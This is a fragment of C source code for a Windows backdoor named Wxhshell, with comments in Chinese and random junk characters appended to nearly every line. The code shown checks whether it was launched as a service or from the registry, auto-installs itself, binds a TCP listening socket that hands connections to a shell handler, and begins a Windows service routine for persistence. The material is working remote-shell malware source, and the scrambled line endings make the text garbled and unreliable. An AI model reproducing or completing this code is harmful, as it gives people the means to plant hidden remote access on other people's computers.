ULONG InheritedFromUniqueProcessId; N}VKH5U|
} PROCESS_BASIC_INFORMATION; @(Ou;Uy
(Pc:A!}
PROCNTQSIP NtQueryInformationProcess; 2HkP$;lED
f]%$HfF@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XLg6?Nu
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1/6 G&RB
h&[]B*BLr
HANDLE hProcess; *8,]fBUq
PROCESS_BASIC_INFORMATION pbi; h+CTi6-p
&'c1"%*%8>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0z_e3H{P27
if(NULL == hInst ) return 0; "ln(EvW
R BwI*~%g{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +<|6y46
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sR+=<u1
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <k6Zx-6X<
=d.Z:L9d
if (!NtQueryInformationProcess) return 0; a%7%NN*i
jzdK''CHi
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dilRL,
if(!hProcess) return 0; qx5.LiF
rrwBsa3
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t]2~aK<]
4}!riWR
CloseHandle(hProcess); ~*- eL.
E
Rqr0>x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |.)oV;9
if(hProcess==NULL) return 0; vtv|H
5yuj}/PZ
HMODULE hMod; +0;6.PK
char procName[255]; U<KvKg
unsigned long cbNeeded; AWi~qzTZ
\=XAl >}\
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t(/e~w
b Zn:q[7
CloseHandle(hProcess); 8uchp
xCEEv5(5
if(strstr(procName,"services")) return 1; // 以服务启动 i~M CY.F
M`9qo8zCi
return 0; // 注册表启动 0.~QA+BD:S
} r-9P&*1
SZzS$6t
// 主模块 4T{+R{_Y1
int StartWxhshell(LPSTR lpCmdLine) Jj8z ~3XnJ
{ !\z:S?V
SOCKET wsl;
B ;9^
BOOL val=TRUE; _ohZTT%l
int port=0; ~kD/dXt
struct sockaddr_in door; (l TM5qC
Gvb>M=9
if(wscfg.ws_autoins) Install(); wbyY?tH
nz3j";d
port=atoi(lpCmdLine); p'0jdb :S
o6'I%Gs
if(port<=0) port=wscfg.ws_port; h*Rh:yCR>
*}-X
'_
WSADATA data; A{bt
Z#k
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qb]n{b2
UwvGw5)q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \|F4@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D}>pl8ke~g
door.sin_family = AF_INET; 68[3
/
door.sin_addr.s_addr = inet_addr("127.0.0.1"); \j+O |#`|)
door.sin_port = htons(port); %FDi7Rx
t>)iC)^u
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C\ZL*,%}
closesocket(wsl); Vl%AN;o
return 1; m.iCGX
} rr>QG<i;G
iKnH6}`?U
if(listen(wsl,2) == INVALID_SOCKET) { r`qMif'
closesocket(wsl); w4Qqo(
return 1; nL%;^`*8
} -icOg6%
Wxhshell(wsl); @{iws@.
WSACleanup(); ' Ph
1XSA3;ZEc
return 0; &=Gz[1
L
jrbEJ.
} W2D^%;mw
CC0@RU
// 以NT服务方式启动 AON";&dLq-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J;W(}"cFq
{ ?l!L
)!2
DWORD status = 0; ig4wwd@|
DWORD specificError = 0xfffffff; %0fF_OU
`KqMcAW
serviceStatus.dwServiceType = SERVICE_WIN32; Dd-;;Y1C
serviceStatus.dwCurrentState = SERVICE_START_PENDING; +FfT)8@W
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \_Nr7sc\
serviceStatus.dwWin32ExitCode = 0; peCmb)>Sa
serviceStatus.dwServiceSpecificExitCode = 0; <H<5E'm
serviceStatus.dwCheckPoint = 0; kT&-:: ^R
serviceStatus.dwWaitHint = 0; ,24NMv7
Jkzt=6WZ0
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rbiNp6AdL
if (hServiceStatusHandle==0) return; bY|%ois4
#+N\u*-S
status = GetLastError(); R7;SZo
if (status!=NO_ERROR) IfzHe8>
{ veFl0ILd
serviceStatus.dwCurrentState = SERVICE_STOPPED; Gtd!Y
x
serviceStatus.dwCheckPoint = 0; zpV@{%VSj
serviceStatus.dwWaitHint = 0; 6&M